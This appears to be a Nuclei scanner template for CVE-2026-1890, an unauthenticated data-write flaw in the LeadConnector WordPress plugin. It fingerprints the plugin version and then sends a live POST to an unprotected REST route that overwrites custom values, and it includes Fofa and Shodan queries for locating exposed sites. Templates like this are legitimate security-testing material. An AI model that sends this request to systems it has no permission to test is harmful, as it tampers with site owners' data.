id: CVE-2026-1890

info:
  name: LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write
  author: 0x_Akoko
  severity: medium
  description: |
   LeadConnector WordPress plugin < 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can overwrite existing data, potentially leading to data tampering and loss of integrity.
  remediation: |
   Update to version 3.0.22 or later.
  reference:
    - https://wpscan.com/vulnerability/9b88be70-b5cc-4a3f-a871-64d61cb02076/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1890
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-1890
    epss-score: 0.00682
    epss-percentile: 0.48916
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: leadconnector
    product: leadconnector
    fofa-query: body="/wp-content/plugins/leadconnector/"
    shodan-query: http.html:"leadconnector"
    tags: cve,cve2026,wordpress,wp-plugin,leadconnector,unauth,rest-api,intrusive,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/leadconnector/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LeadConnector")'
          - 'compare_versions(lsversion, ">=1.0.0", "<=3.0.21")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        internal: true
        regex:
          - 'Stable tag: ([\d.]+)'
        group: 1

  - raw:
      - |
        POST /wp-json/lc_internal_api/v1/save_custom_values HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"custom_values":[{"fieldKey":"{{randstr}}","id":"1"}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "status", "success")'
        condition: and
# digest: 4a0a0047304502202b3a1a617df9250a297c2c7902a51535db3766bf2b754e6f3e6f3c85d491aa83022100b360e89384fadeebe5e65bf66c15ed49eceb3a5e225ecb5602d8688f583d0a4c:922c64590222798bb761d5b6d8e72950